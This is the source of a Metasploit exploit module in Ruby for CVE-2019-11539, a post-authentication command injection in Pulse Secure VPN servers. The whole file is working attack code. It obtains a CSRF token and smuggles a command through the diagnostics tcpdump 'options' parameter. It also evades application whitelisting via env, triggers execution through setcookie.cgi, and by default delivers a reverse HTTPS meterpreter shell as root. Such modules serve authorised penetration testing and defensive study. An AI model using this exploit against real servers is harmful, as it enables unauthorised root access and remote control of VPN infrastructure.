William Vu
137 lines
3.7 KiB
Ruby
137 lines
3.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Pulse Secure VPN Arbitrary Command Execution',
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'Description' => %q{
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This module exploits a post-auth command injection in the Pulse Secure
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VPN server to execute arbitrary commands as root.
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},
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'Author' => [
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'Orange Tsai', # Discovery (@orange_8361)
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'Meh Chang', # Discovery (@mehqq_)
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'wvu' # Module
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],
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'References' => [
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['CVE', '2019-11539'],
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['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'],
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['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'],
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['URL', 'https://hackerone.com/reports/591295']
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],
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'DisclosureDate' => '2019-04-24', # Public disclosure
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => [ARCH_X86, ARCH_X64],
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'Privileged' => true,
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'Targets' => [['Linux Dropper', {}]],
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'DefaultTarget' => 0,
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'DefaultOptions' => {
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'RPORT' => 443,
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'SSL' => true,
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'CMDSTAGER::SSL' => true,
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'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'
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},
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
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'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']
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}
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))
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register_options([
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OptString.new('SID', [true, 'Valid session ID'])
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])
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end
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def post_auth?
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true
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end
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def exploit
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get_csrf_token
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execute_cmdstager(
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flavor: :curl,
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noconcat: true
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)
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end
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def get_csrf_token
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@cookie = "DSID=#{datastore['SID']}"
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print_good("Setting session cookie: #{@cookie}")
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print_status('Obtaining CSRF token')
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => diag_cgi,
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'cookie' => @cookie
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)
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unless res && res.code == 200 && (@csrf_token = parse_csrf_token(res.body))
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fail_with(Failure::NoAccess, 'Session cookie expired')
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end
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print_good("CSRF token: #{@csrf_token}")
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end
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def parse_csrf_token(body)
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body.to_s.scan(/xsauth=([[:xdigit:]]+)/).flatten.first
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end
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def execute_command(cmd, _opts = {})
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# Prepend absolute path to curl(1), since it's not in $PATH
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cmd.prepend('/home/bin/') if cmd.start_with?('curl')
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# Bypass application whitelisting with permitted env(1)
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cmd.prepend('env ')
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vprint_status("Executing command: #{cmd}")
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print_status("Yeeting exploit at #{full_uri(diag_cgi)}")
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => diag_cgi,
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'cookie' => @cookie,
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'vars_get' => {
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'a' => 'td', # tcpdump
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'options' => sploit(cmd),
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'xsauth' => @csrf_token,
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'toggle' => 'Start Sniffing'
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}
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)
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unless res && res.code == 200
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fail_with(Failure::UnexpectedReply, 'Could not yeet exploit')
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end
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print_status("Triggering payload at #{full_uri(setcookie_cgi)}")
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send_request_cgi(
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'method' => 'GET',
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'uri' => setcookie_cgi
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)
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end
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def sploit(cmd)
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%(-r$x="#{cmd}",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <)
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end
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def diag_cgi
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'/dana-admin/diag/diag.cgi'
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end
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def setcookie_cgi
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'/dana-na/auth/setcookie.cgi'
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end
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end
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